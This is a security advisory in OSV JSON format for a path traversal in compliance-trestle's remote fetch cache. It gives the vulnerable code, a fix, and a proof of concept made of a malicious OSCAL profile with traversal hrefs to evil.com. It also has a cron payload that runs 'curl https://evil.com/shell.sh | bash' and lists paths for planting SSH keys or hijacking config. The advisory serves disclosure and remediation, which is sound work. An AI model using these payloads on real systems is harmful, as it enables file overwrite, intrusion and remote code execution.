CVE-2026-45725: Compliance trestle Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3vg-vx23-3858",
  "modified" : "2026-05-27T22:57:38Z",
  "published" : "2026-05-27T22:57:37Z",
  "aliases" : [ "CVE-2026-45725" ],
  "summary" : "compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal",
  "details" : "## Summary\n\nThe compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.\n\n**Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n## Vulnerable Code\n\n### cache.py:259-266 — HTTPSFetcher cache path construction\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        # ...\n        u = parse.urlparse(self._uri)\n        # ...\n        if u.hostname is None:\n            raise TrestleError(f'Cache request for {self._uri} requires hostname')\n        https_cached_dir = self._trestle_cache_path / u.hostname\n        # ❌ path_parent preserves ../ sequences from URL\n        path_parent = pathlib.Path(u.path[re.search('[^/\\\\\\\\]', u.path).span()[0] :]).parent\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache\n        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n### cache.py:285-295 — Content written to traversed path\n\n```python\n    def _do_fetch(self) -> None:\n        # ...\n        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)\n        if response.status_code == 200:\n            result = response.text  # ❌ Attacker-controlled content\n            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path\n```\n\n### cache.py:328-333 — SFTPFetcher (identical pattern)\n\n```python\nclass SFTPFetcher(FetcherBase):\n    def __init__(self, ...):\n        # Identical path construction — same vulnerability\n        sftp_cached_dir = self._trestle_cache_path / u.hostname\n        path_parent = pathlib.Path(u.path[re.search('[^/\\\\\\\\]', u.path).span()[0] :]).parent\n        sftp_cached_dir = sftp_cached_dir / path_parent\n        sftp_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n**Root Cause:**\n1. `urlparse(\"https://evil.com/../../../tmp/pwned.json\").path` = `/../../../tmp/pwned.json` — preserves `../`\n2. `pathlib.Path(u.path).parent` preserves traversal sequences\n3. `cache_dir / hostname / \"../../../../../../tmp\"` resolves outside cache\n4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories\n5. `write_text(response.text)` writes attacker-controlled content to traversed path\n6. **No `is_relative_to()` boundary check** on the resolved path\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml — arbitrary file write via cache traversal\nprofile:\n  uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n  metadata:\n    title: \"Malicious Profile\"\n    version: \"1.0\"\n    last-modified: \"2024-01-01T00:00:00+00:00\"\n    oscal-version: \"1.0.4\"\n  imports:\n    - href: \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\n```\n\n### PoC: Cache Path Traversal Simulation\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Cache path traversal → arbitrary file write\"\"\"\nimport os, re, tempfile, shutil\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Simulate trestle cache behavior (cache.py:259-266)\ntrestle_root = Path(tempfile.mkdtemp(prefix=\"trestle_poc_\"))\ncache_dir = trestle_root / \".trestle\" / \".cache\"\ncache_dir.mkdir(parents=True, exist_ok=True)\n\nevil_url = \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\nu = urlparse(evil_url)\n\n# Exact trestle code path\ncached_dir = cache_dir / u.hostname\nm = re.search(r'[^/\\\\\\\\]', u.path)\npath_parent = Path(u.path[m.span()[0]:]).parent\ncached_dir = cached_dir / path_parent\ncached_dir.mkdir(parents=True, exist_ok=True)\ncached_file = cached_dir / Path(Path(u.path).name)\n\nprint(f\"Cache dir: {cache_dir}\")\nprint(f\"Resolved write target: {cached_file.resolve()}\")\n# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!\n\n# Write attacker content\nattacker_payload = '*/5 * * * * root /bin/bash -c \"id > /tmp/rce_proof\"'\ncached_file.write_text(attacker_payload)\nprint(f\"Written: {cached_file.resolve().read_text()}\")\n\n# Cleanup\nos.remove(str(cached_file.resolve()))\nshutil.rmtree(str(trestle_root))\n```\n\n**Expected:** Write confined to `.trestle/.cache/` directory\n**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)\n\n\n## Remediation\n\n### Fix for HTTPSFetcher (cache.py:259-266):\n\n```python\nclass HTTPSFetcher(FetcherBase):\n    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n        # ...\n        u = parse.urlparse(self._uri)\n        https_cached_dir = self._trestle_cache_path / u.hostname\n\n        # ✅ Sanitize path: remove traversal sequences\n        safe_path = pathlib.PurePosixPath(u.path).parts\n        safe_path = [p for p in safe_path if p != '..' and p != '/']\n        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')\n\n        https_cached_dir = https_cached_dir / path_parent\n        https_cached_dir.mkdir(parents=True, exist_ok=True)\n        self._cached_object_path = https_cached_dir / safe_path[-1]\n\n        # ✅ Boundary check\n        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):\n            raise TrestleError(\n                f\"Cache path traversal blocked: URL '{uri}' resolves to \"\n                f\"'{self._cached_object_path.resolve()}' outside cache directory\"\n            )\n```\n\nSame fix required for SFTPFetcher at lines 328-333.\n\n## References\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n### 1. Cron Job Injection → Remote Code Execution\n\n```yaml\n# Profile that writes a cron job\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/cron.d/backdoor\"\n```\n\nAttacker's server responds with:\n```\n* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'\n```\n\n### 2. SSH Authorized Keys Injection\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../root/.ssh/authorized_keys\"\n```\n\nAttacker's server responds with their SSH public key.\n\n### 3. Config File Overwrite\n\n```yaml\nimports:\n  - href: \"https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf\"\n```\n\n### 4. Python Path Hijacking\n\nWrite malicious `.py` file to a location on `sys.path` for code execution on next import.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.2"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "compliance-trestle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.12.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oscal-compass/compliance-trestle"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T22:57:37Z",
    "nvd_published_at" : null
  }
}